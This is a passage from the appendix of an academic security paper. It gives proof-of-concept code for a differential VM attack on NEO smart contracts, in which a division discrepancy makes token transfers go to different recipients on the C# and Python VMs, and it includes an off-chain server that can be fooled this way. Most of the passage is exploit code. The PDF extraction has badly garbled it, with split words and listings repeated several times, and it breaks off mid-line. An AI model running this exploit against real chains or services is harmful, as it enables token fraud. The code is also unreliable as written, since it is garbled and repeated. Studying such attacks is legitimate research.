standing bugs in C compilers. In Proceedings of the 32nd ACM SIGPLAN conference
on Programming language design and implementation. 283–294.
A DIFFERENTIAL VM ATTACK POC
A.1 attack.py
1from boa .interop .Neo .TriggerType import A pp l ic at io n ,Verification
2from boa .interop .Neo .App import RegisterAppCall
3from boa .interop .Neo .Run time import GetTrigger
4
5tokenContract =RegisterAppCall ('36cdd5a63533811cd117a9999032a0e6eee5d6e0','
operation','args')
6
7de f Main (a rgs ) :
8trigger =GetTrigger ( )
9i f trigger == Verification ( ) :
10 # ev er yb od y w il l be ab le t o sp en d th e NE O on t hi s co nt ra c t
11 re tu r n Tr ue
12
13 e l i f trigger == A ppl ica tio n () :
14 fr =ar gs [0]
15 real_to =ar gs [1]
16 fake_to =ar gs [2]
17 amount =a rgs [ 3 ]
18
19 # DIV di sc r ep an cy se tu p
20 a= 1
21 b= - 3
22 c=a/b
23
24 i f c= = - 1 :
25 tokenContract ('transfer', [ fr ,f ak e_to ,amo unt ] )
26 re tu r n "P y th o n "
27 else :
28 tokenContract ('transfer', [ fr ,r e al _ t o ,amount ] )
29 re tu r n "C s ha r p "
Listing 9: attack.py: the smart contract implementing the
attack from Sect. 6.2: it uses a VM dierence to transfer
tokens to another address on the C# VM than on the
Python VM.
A.2 server.py
1# ba s ed on h tt p s : // g i t hu b . c om / C i t yO f Zi o n / n eo - p y th o n / bl o b / v0 . 8 .4 / e x am p le s /
sm ar t - co n tr a ct . p y
2
3# Im po rt s le ft ou t fo r br ev it y
4
5smart_contract =SmartContract ('0x36cdd5a63533811cd117a9999032a0e6eee5d6e0')
6wallet =None
7
8fromhex =lambd a x:bytes .fromhex (x)
9
10 # ba s ed on h tt p s : // g i t hu b . c om / C i t yO f Zi o n / n eo - p y th o n / bl o b / v0 . 9 .1 / n e o / Co r e /
Cr y pt o g r ap h y / H e l pe r . p y
11 de f scripthash_to_address (scripthash ) :
12 bin_dbl_sha256 =lambd a s :hashlib.sha256 (hashlib .sha256 (s) . digest ( ) ) .
digest ( )
13 sb =bytearray ( [ 2 3 ] ) + scripthash
14 c2 56 =bin_dbl_sha256 (s b )[0:4]
15 out b =sb +bytearray (c 256 )
16 re tu r n base58 .b58encode(bytes (o utb ) ) . d eco de (" ut f - 8 " )
17
18
19 # ba s ed on h tt p s : // g i t hu b . c om / C i t yO f Zi o n / n eo - p y th o n / bl o b / v0 . 8 .4 / n e o / Pr o mp t /
Co mm a nd s / S en d . py # L 2 44
20 de f process_transaction (wa ll et ,contract_tx ,scr i pt ha sh _ fr om =Non e ,
21 scripthash_change=None ,f e e =Non e ,owners =Non e ,
22 user_tx_attributes=None ) :
23 tx =wallet .MakeTransaction (t x=contract_tx ,
24 change_address=scripthash_change ,
25 fe e =fee ,
26 from_addr=sc ri pth ash _f rom )
27 input_coinref =wallet .FindCoinsByVins (tx .inputs ) [ 0 ]
28 source_addr =input_coinref .Address
29 asset_name ='NEO'
30 standard_contract =wallet .Ge tSta nda rdAd dre ss ( )
31 signer_contract =wallet .GetContract(standard _contract )
32
33 tx .A t t r i b u t e s = [ TransactionAttribute (us age =TransactionAttributeUsage .
Script ,
34 da ta =standard_contract .Da ta ) ]
35
36 tx .A t t r i b u t e s =t x .At t r i b u t e s +user_tx_attributes
37
38 context =ContractParametersContext(t x ,isM u l t i S i g =signer_contract .
IsMultiSigContract)
39 wallet .Si gn (context )
40
41 i f context .Comp leted :
42 tx .scripts =context .GetScripts ( )
43 re l ay ed =NodeLeader .Instance ( ) . Relay (t x )
44 i f re lay ed :
45 wallet .SaveTransaction(t x )
46 print(" R el ay e d Tx : % s " %tx .Hash .ToString ( ) )
47 re tu r n tx
48
ROOTS’21, November 18–19, 2021, Vienna, Austria Maier et al.
ROOTS’21, November 18–19, 2021, Vienna, Austria Maier et al.
49
50 @smart_contract .on_notify
51 de f sc _ n o t i f y (e ven t ) :
52 gl o ba l w a ll e t
53 i f not e ven t .event_payload:
54 re tu r n
55 j=ev ent .event_payload .To Json ( )
56 print(j)
57 i f j['type'] = = 'Array'and le n (j['value'] ) == 4 :
58 event ,arg 1 ,arg2 ,a rg 3 =j['value']
59 event_name =fromhex (ev ent ['value '] ) . de cod e ('ascii')
60 i f event_name ! = 'transfer':
61 re tu r n
62 addr_from =scripthash_to_address (fromhex (ar g1 ['value'] ) )
63 addr_to =scripthash_to_address (fromhex (ar g2 ['value'] ) )
64 amount ='N/A'
65 i f arg3 ['type '] == 'ByteArray ':
66 amo un t_ 64 bit =fromhex (a rg 3 ['value'] ) . ljust ( 8 , b'\x 0 0 ')
67 amount =struct .unpack ("Q" ,am oun t_6 4bi t ) [ 0 ]
68 e l i f arg3['type '] == 'I nt eg er ':
69 amount =int (ar g3 ['value '] )
70 amount =s t r (amount / 1 0 0 0 0 0 0 0 0 )
71 logger .info ("{ } se nt { } to ke ns t o {} " .format (addr_from ,amount ,
addr_to) )
72 i f addr_to == 'AK2nJJpJr6o664CWJKi1QRXjqeic2zRp8y'and a d dr _t o ! =
addr_from :
73 logger .info ('se nd i ng {} N EO to {} '.format (amount ,addr_from ) )
74 framework =construct_send_basic (wa ll et , [ 'neo',addr_from ,
amount ] )
75 i f t yp e (framework)i s l i s t :
76 funds_source_script_hash =wallet .ToScriptHash (wallet .
Addresses [0])
77 process_transaction(w a ll e t ,contract_tx=framework [ 0 ] ,
78 sc ri pt h as h_ fr o m=funds_source_script_hash ,
79 fe e =framework [ 2 ] , own ers =framework [ 3 ] ,
80 user_tx_attributes=framework [4])
81
82 de f log_block ( ) :
83 bl oc k =Blockchain .Default ( )
84 lo gge r .info(" B lo ck { } / {} " .format (b loc k .Height,b loc k .HeaderHeight) )
85
86 de f main ( ) :
87 gl o ba l w a ll e t
88 se t t i n g s .setup ('/n e o - py t ho n / n eo / d a ta / p r o to c ol . p r iv n et . j s on ')
89 Blockchain .RegisterBlockchain(LevelDB Blockchain ('/t m p / pr i vn e t ') )
90 wallet =UserWallet .Open('n e o - pr i v ne t . w al l e t ',to_aes_key ('coz') )
91
92 ta sk .LoopingCall (Blockchain .Default ( ) . PersistBlocks ) . start (.1)
93 ta sk .LoopingCall (log_block ) . start (2)
94 ta sk .LoopingCall (wallet .ProcessBlocks ) . start (2)
95
96 NodeLeader .Instance ( ) . Start ( )
97 reactor .run ( )
98
99 i f __name__ == " __main__" :
100 main ( )
Listing 10: server.py: An o-chain app backed by a token
on the NEO chain. As it believes the results of the Python
VM, it will see the fake receiver of a token as the result of
aack.py.
A.3 nep5.py
1# ba s ed on h tt p s : // g i t hu b . c om / C i t yO f Zi o n / n eo - b oa / b l ob / v 0 . 6. 0 / b o a_ t es t / e x am p le
/d e mo / N EP 5 . py
2# by T h om as Sa un de r s < to m @c i ty of z io n . io > , Jo e S te w ar t < jo e @c oz . io >
3
4# Im po rt s le ft ou t fo r br ev it y
5
6
7OWNER =b'#\ xb a \ '\ x 03 \ x c 52 c \ x e8 \ x d6 \ x e 5 "\ x d c2 39 \ xd c \ x d8 \ x ee \ x e 9 '
8TOKEN_NAME ='PWNED Token'
9TOKEN_SYMBOL ='PWN'
10 TOKEN_DECIMALS = 8
11 TOKEN_TOTAL_SUPPLY = 10000000 10 0 0 0 0 0 0 0 # 10 m to ta l s up pl y * 10 ^8 (
decimals)
12
13 ctx =GetContext ( )
14
15 OnTransfer =RegisterAction ('transfer','addr_from','a d dr _t o ','amount')
16 OnApprove =RegisterAction ('a pp r ov e ','addr_from','a dd r_ t o ','amount')
17 OnError =RegisterAction ('error','m es sa ge ')
18
19 neo_asset_id =b'\x 9b | \ x ff \ x da \ x a 6t \ x b e \ xa e \ x0 f \ x 93 \ x 0e \ x be `\ x 85 \ x a f \ x9 0 \ x9 3 \
xe5 \ x f eV \ x b 3J \ \ "\ x 0c \ x c d \ xc f n \ xf c 3o \ x c 5 '
20 ga s _ a s s e t _ i d =b'\x e7 - ( i y \ xe e l \ xb 1 \ xb 7 \ x e6 ] \ x fd \ x df \ x b 2 \ xe 3 \ x8 4 \ x 10 \ x 0b \ x 8 d \
x14 \ x 8 ew X \ x de B \ x e4 \ x 16 \ x 8 bq y , ` '
21
22 de f Main (operation ,a rgs ) :
23 trigger =GetTrigger ( )
24 i f trigger == Verification ( ) :
25 as se rt CheckWitness(OWNER) , 'unauthorized'
26 re tu r n Tr ue
27
28 e l i f trigger == A ppl ica tio n () :
29 i f operation == 'name':
30 re tu r n TOKEN_NAME
31 e l i f operation == 'decimals':
32 re tu r n TOKEN_DECIMALS
33 e l i f operation == 'symbol':
34 re tu r n TOKEN_SYMBOL
35 e l i f operation == 'totalSupply':
36 re tu r n TOKEN_TOTAL_SUPPLY
37 e l i f operation == 'mint':
38 re tu r n do_mint(c tx )
39 e l i f operation == 'buy':
40 print('st art')
41 re tu r n do_b uy (ct x )
42 e l i f operation == 'balanceOf':
43 as s e r t l en (a rgs ) == 1 , 'in co r re ct arg le ng th '
44 account =ar gs [ 0 ]
45 re tu r n do_balance_of (ctx ,account )
46 e l i f operation == 'transfer':
47 as s e r t l en (a rgs ) == 3 , le n (ar gs )
48 t_from =ar gs [0]
49 t_ t o =ar gs [1]
50 t_amount =ar gs [ 2 ]
51 re tu r n do_transfer(ctx ,t_fro m ,t_t o ,t_amount ,
GetCallingScriptHash ( ) )
52
53 As se rti on Err or ('u nk no w n o pe ra ti o n ')
54
55 de f do_b uy (ctx ) :
56 tx =GetScriptContainer ( ) # t yp e : T r an s ac t i on
57 references =tx .References
58 sent_amount_neo = 0
59 sent_amount_gas = 0
60 sender_addr = 0
61 i f le n (references) > 0 :
62 re f er e nc e =references [0]
63 sender_addr =re fer en ce .ScriptHash
64 receiver_addr =GetExecutingScriptHash ( )
65
66 fo r ou tp ut i n t x .Outputs:
67 i f o utp ut .ScriptHash == r ece iv er _ad dr a nd out put .AssetId ==
neo_asset_id :
68 sent_amount_neo += ou tpu t .Value
69 i f sent_amount_neo = = 0 :
70 print(" n o n e o a t t ac h e d " )
71 re tu r n F a l s e
72 _do_actual_transfer(ctx ,OWNER,sender_addr ,sent_amount_neo)
73 re tu r n Tr ue
74
75 de f do_balance_of (ctx ,account ) :
76 as s e r t l en (account ) = = 2 0 , " i n va l id ad dr e ss "
77 re tu r n Get(ctx ,account )
78
79 de f do_mint (ctx ) :
80 minted =Get (ctx ,'minted ')
81 i f n ot mi nted :
82 Put (ctx ,'minted ','true')
83 Put (ctx ,OWNER,TOKEN_TOTAL_SUPPLY)
84 OnTransfer (OWNER,OWNER,TOKEN_TOTAL_SUPPLY)
85 re tu r n Tr ue
86 re tu r n F a l s e
87
88 de f _do_actual_transfer (ctx ,t_from ,t_to ,amount ) :
89 fr om_ va l =Get (ctx ,t_from )
90 as s e r t fr o m_ va l >= amount ," i n su f fi c ie n t f u nd s "
91
92 i f f ro m_ va l == amount :
93 Delete (ctx ,t_from)
94 else :
95 difference =fr om_ va l -amount
96 Put (ctx ,t_from ,difference )
97
98 to _ va lu e =Ge t (ctx ,t_ t o )
99 to_total =to _ va lu e +amount
100 Put (ctx ,t_to ,to_total )
101 OnTransfer (t_from ,t_ t o ,amount )
102
103 re tu r n Tr ue
104
105 de f do_transfer (ctx ,t_from ,t_ t o ,amount ,caller ) :
106 as s e r t amount > 0 , " i n va li d amo u nt "
107 as s e r t l en (t_from ) = = 2 0 , " i n va l id fro m add r es s "
108 as s e r t l en (t _ t o ) == 20 , "i n va li d t o a d dr e ss "
109 ass er t CheckWitnessOrCaller (t_from ,caller ) , " t r an s fe r n ot au t ho r iz ed "
110
111 i f t_from = = t_ t o :
112 print(" t r an s fe r to s el f ! " )
113 re tu r n Tr ue
114 re tu r n _do_actual_transfer(ctx ,t_from ,t _ to ,am ount )
115
116 de f CheckWitnessOrCaller (scripthash ,caller ) :
117 i f GetContract (scripthas h ) :
118 i f scripthash == caller :
119 re tu r n Tr ue # a co nt ra c t can s p en d its o wn f un ds
120 else :
121 re tu r n F a l s e
122 re tu r n CheckWitness(scripthas h )
123
124 de f As se rti on Er ror (msg ) :
125 OnError (msg)
126 ra i s e E xc ep t io n (msg )
Listing 11: nep5.py: the attacked smart contract,
implementing a simple token on the NEO chain
A.3 nep5.py
ROOTS’21, November 18–19, 2021, Vienna, Austria Maier et al.
49
50 @smart_contract .on_notify
51 de f sc _ n o t i f y (e ven t ) :
52 gl o ba l w a ll e t
53 i f not e ven t .event_payload:
54 re tu r n
55 j=ev ent .event_payload .To Json ( )
56 print(j)
57 i f j['type'] = = 'Array'and le n (j['value'] ) == 4 :
58 event ,arg 1 ,arg2 ,a rg 3 =j['value']
59 event_name =fromhex (ev ent ['value '] ) . de cod e ('ascii')
60 i f event_name ! = 'transfer':
61 re tu r n
62 addr_from =scripthash_to_address (fromhex (ar g1 ['value'] ) )
63 addr_to =scripthash_to_address (fromhex (ar g2 ['value'] ) )
64 amount ='N/A'
65 i f arg3 ['type '] == 'ByteArray ':
66 amo un t_ 64 bit =fromhex (a rg 3 ['value'] ) . ljust ( 8 , b'\x 0 0 ')
67 amount =struct .unpack ("Q" ,am oun t_6 4bi t ) [ 0 ]
68 e l i f arg3['type '] == 'I nt eg er ':
69 amount =int (ar g3 ['value '] )
70 amount =s t r (amount / 1 0 0 0 0 0 0 0 0 )
71 logger .info ("{ } se nt { } to ke ns t o {} " .format (addr_from ,amount ,
addr_to) )
72 i f addr_to == 'AK2nJJpJr6o664CWJKi1QRXjqeic2zRp8y'and a d dr _t o ! =
addr_from :
73 logger .info ('se nd i ng {} N EO to {} '.format (amount ,addr_from ) )
74 framework =construct_send_basic (wa ll et , [ 'neo',addr_from ,
amount ] )
75 i f t yp e (framework)i s l i s t :
76 funds_source_script_hash =wallet .ToScriptHash (wallet .
Addresses [0])
77 process_transaction(w a ll e t ,contract_tx=framework [ 0 ] ,
78 sc ri pt h as h_ fr o m=funds_source_script_hash ,
79 fe e =framework [ 2 ] , own ers =framework [ 3 ] ,
80 user_tx_attributes=framework [4])
81
82 de f log_block ( ) :
83 bl oc k =Blockchain .Default ( )
84 lo gge r .info(" B lo ck { } / {} " .format (b loc k .Height,b loc k .HeaderHeight) )
85
86 de f main ( ) :
87 gl o ba l w a ll e t
88 se t t i n g s .setup ('/n e o - py t ho n / n eo / d a ta / p r o to c ol . p r iv n et . j s on ')
89 Blockchain .RegisterBlockchain(LevelDB Blockchain ('/t m p / pr i vn e t ') )
90 wallet =UserWallet .Open('n e o - pr i v ne t . w al l e t ',to_aes_key ('coz') )
91
92 ta sk .LoopingCall (Blockchain .Default ( ) . PersistBlocks ) . start (.1)
93 ta sk .LoopingCall (log_block ) . start (2)
94 ta sk .LoopingCall (wallet .ProcessBlocks ) . start (2)
95
96 NodeLeader .Instance ( ) . Start ( )
97 reactor .run ( )
98
99 i f __name__ == " __main__" :
100 main ( )
Listing 10: server.py: An o-chain app backed by a token
on the NEO chain. As it believes the results of the Python
VM, it will see the fake receiver of a token as the result of
aack.py.
A.3 nep5.py
1# ba s ed on h tt p s : // g i t hu b . c om / C i t yO f Zi o n / n eo - b oa / b l ob / v 0 . 6. 0 / b o a_ t es t / e x am p le
/d e mo / N EP 5 . py
2# by T h om as Sa un de r s < to m @c i ty of z io n . io > , Jo e S te w ar t < jo e @c oz . io >
3
4# Im po rt s le ft ou t fo r br ev it y
5
6
7OWNER =b'#\ xb a \ '\ x 03 \ x c 52 c \ x e8 \ x d6 \ x e 5 "\ x d c2 39 \ xd c \ x d8 \ x ee \ x e 9 '
8TOKEN_NAME ='PWNED Token'
9TOKEN_SYMBOL ='PWN'
10 TOKEN_DECIMALS = 8
11 TOKEN_TOTAL_SUPPLY = 10000000 10 0 0 0 0 0 0 0 # 10 m to ta l s up pl y * 10 ^8 (
decimals)
12
13 ctx =GetContext ( )
14
15 OnTransfer =RegisterAction ('transfer','addr_from','a d dr _t o ','amount')
16 OnApprove =RegisterAction ('a pp r ov e ','addr_from','a dd r_ t o ','amount')
17 OnError =RegisterAction ('error','m es sa ge ')
18
19 neo_asset_id =b'\x 9b | \ x ff \ x da \ x a 6t \ x b e \ xa e \ x0 f \ x 93 \ x 0e \ x be `\ x 85 \ x a f \ x9 0 \ x9 3 \
xe5 \ x f eV \ x b 3J \ \ "\ x 0c \ x c d \ xc f n \ xf c 3o \ x c 5 '
20 ga s _ a s s e t _ i d =b'\x e7 - ( i y \ xe e l \ xb 1 \ xb 7 \ x e6 ] \ x fd \ x df \ x b 2 \ xe 3 \ x8 4 \ x 10 \ x 0b \ x 8 d \
x14 \ x 8 ew X \ x de B \ x e4 \ x 16 \ x 8 bq y , ` '
21
22 de f Main (operation ,a rgs ) :
23 trigger =GetTrigger ( )
24 i f trigger == Verification ( ) :
25 as se rt CheckWitness(OWNER) , 'unauthorized'
26 re tu r n Tr ue
27
28 e l i f trigger == A ppl ica tio n () :
29 i f operation == 'name':
30 re tu r n TOKEN_NAME
31 e l i f operation == 'decimals':
32 re tu r n TOKEN_DECIMALS
33 e l i f operation == 'symbol':
34 re tu r n TOKEN_SYMBOL
35 e l i f operation == 'totalSupply':
36 re tu r n TOKEN_TOTAL_SUPPLY
37 e l i f operation == 'mint':
38 re tu r n do_mint(c tx )
39 e l i f operation == 'buy':
40 print('st art')
41 re tu r n do_b uy (ct x )
42 e l i f operation == 'balanceOf':
43 as s e r t l en (a rgs ) == 1 , 'in co r re ct arg le ng th '
44 account =ar gs [ 0 ]
45 re tu r n do_balance_of (ctx ,account )
46 e l i f operation == 'transfer':
47 as s e r t l en (a rgs ) == 3 , le n (ar gs )
48 t_from =ar gs [0]
49 t_ t o =ar gs [1]
50 t_amount =ar gs [ 2 ]
51 re tu r n do_transfer(ctx ,t_fro m ,t_t o ,t_amount ,
GetCallingScriptHash ( ) )
52
53 As se rti on Err or ('u nk no w n o pe ra ti o n ')
54
55 de f do_b uy (ctx ) :
56 tx =GetScriptContainer ( ) # t yp e : T r an s ac t i on
57 references =tx .References
58 sent_amount_neo = 0
59 sent_amount_gas = 0
60 sender_addr = 0
61 i f le n (references) > 0 :
62 re f er e nc e =references [0]
63 sender_addr =re fer en ce .ScriptHash
64 receiver_addr =GetExecutingScriptHash ( )
65
66 fo r ou tp ut i n t x .Outputs:
67 i f o utp ut .ScriptHash == r ece iv er _ad dr a nd out put .AssetId ==
neo_asset_id :
68 sent_amount_neo += ou tpu t .Value
69 i f sent_amount_neo = = 0 :
70 print(" n o n e o a t t ac h e d " )
71 re tu r n F a l s e
72 _do_actual_transfer(ctx ,OWNER,sender_addr ,sent_amount_neo)
73 re tu r n Tr ue
74
75 de f do_balance_of (ctx ,account ) :
76 as s e r t l en (account ) = = 2 0 , " i n va l id ad dr e ss "
77 re tu r n Get(ctx ,account )
78
79 de f do_mint (ctx ) :
80 minted =Get (ctx ,'minted ')
81 i f n ot mi nted :
82 Put (ctx ,'minted ','true')
83 Put (ctx ,OWNER,TOKEN_TOTAL_SUPPLY)
84 OnTransfer (OWNER,OWNER,TOKEN_TOTAL_SUPPLY)
85 re tu r n Tr ue
86 re tu r n F a l s e
87
88 de f _do_actual_transfer (ctx ,t_from ,t_to ,amount ) :
89 fr om_ va l =Get (ctx ,t_from )
90 as s e r t fr o m_ va l >= amount ," i n su f fi c ie n t f u nd s "
91
92 i f f ro m_ va l == amount :
93 Delete (ctx ,t_from)
94 else :
95 difference =fr om_ va l -amount
96 Put (ctx ,t_from ,difference )
97
98 to _ va lu e =Ge t (ctx ,t_ t o )
99 to_total =to _ va lu e +amount
100 Put (ctx ,t_to ,to_total )
101 OnTransfer (t_from ,t_ t o ,amount )
102
103 re tu r n Tr ue
104
105 de f do_transfer (ctx ,t_from ,t_ t o ,amount ,caller ) :
106 as s e r t amount > 0 , " i n va li d amo u nt "
107 as s e r t l en (t_from ) = = 2 0 , " i n va l id fro m add r es s "
108 as s e r t l en (t _ t o ) == 20 , "i n va li d t o a d dr e ss "
109 ass er t CheckWitnessOrCaller (t_from ,caller ) , " t r an s fe r n ot au t ho r iz ed "
110
111 i f t_from = = t_ t o :
112 print(" t r an s fe r to s el f ! " )
113 re tu r n Tr ue
114 re tu r n _do_actual_transfer(ctx ,t_from ,t _ to ,am ount )
115
116 de f CheckWitnessOrCaller (scripthash ,caller ) :
117 i f GetContract (scripthas h ) :
118 i f scripthash == caller :
119 re tu r n Tr ue # a co nt ra c t can s p en d its o wn f un ds
120 else :
121 re tu r n F a l s e
122 re tu r n CheckWitness(scripthas h )
123
124 de f As se rti on Er ror (msg ) :
125 OnError (msg)
126 ra i s e E xc ep t io n (msg )
Listing 11: nep5.py: the attacked smart contract,
implementing a simple token on the NEO chain
ROOTS’21, November 18–19, 2021, Vienna, Austria Maier et al.
49
50 @smart_contract .on_notify
51 de f sc _ n o t i f y (e ven t ) :
52 gl o ba l w a ll e t
53 i f not e ven t .event_payload:
54 re tu r n
55 j=ev ent .event_payload .To Json ( )
56 print(j)
57 i f j['type'] = = 'Array'and le n (j['value'] ) == 4 :
58 event ,arg 1 ,arg2 ,a rg 3 =j['value']
59 event_name =fromhex (ev ent ['value '] ) . de cod e ('ascii')
60 i f event_name ! = 'transfer':
61 re tu r n
62 addr_from =scripthash_to_address (fromhex (ar g1 ['value'] ) )
63 addr_to =scripthash_to_address (fromhex (ar g2 ['value'] ) )
64 amount ='N/A'
65 i f arg3 ['type '] == 'ByteArray ':
66 amo un t_ 64 bit =fromhex (a rg 3 ['value'] ) . ljust ( 8 , b'\x 0 0 ')
67 amount =struct .unpack ("Q" ,am oun t_6 4bi t ) [ 0 ]
68 e l i f arg3['type '] == 'I nt eg er ':
69 amount =int (ar g3 ['value '] )
70 amount =s t r (amount / 1 0 0 0 0 0 0 0 0 )
71 logger .info ("{ } se nt { } to ke ns t o {} " .format (addr_from ,amount ,
addr_to) )
72 i f addr_to == 'AK2nJJpJr6o664CWJKi1QRXjqeic2zRp8y'and a d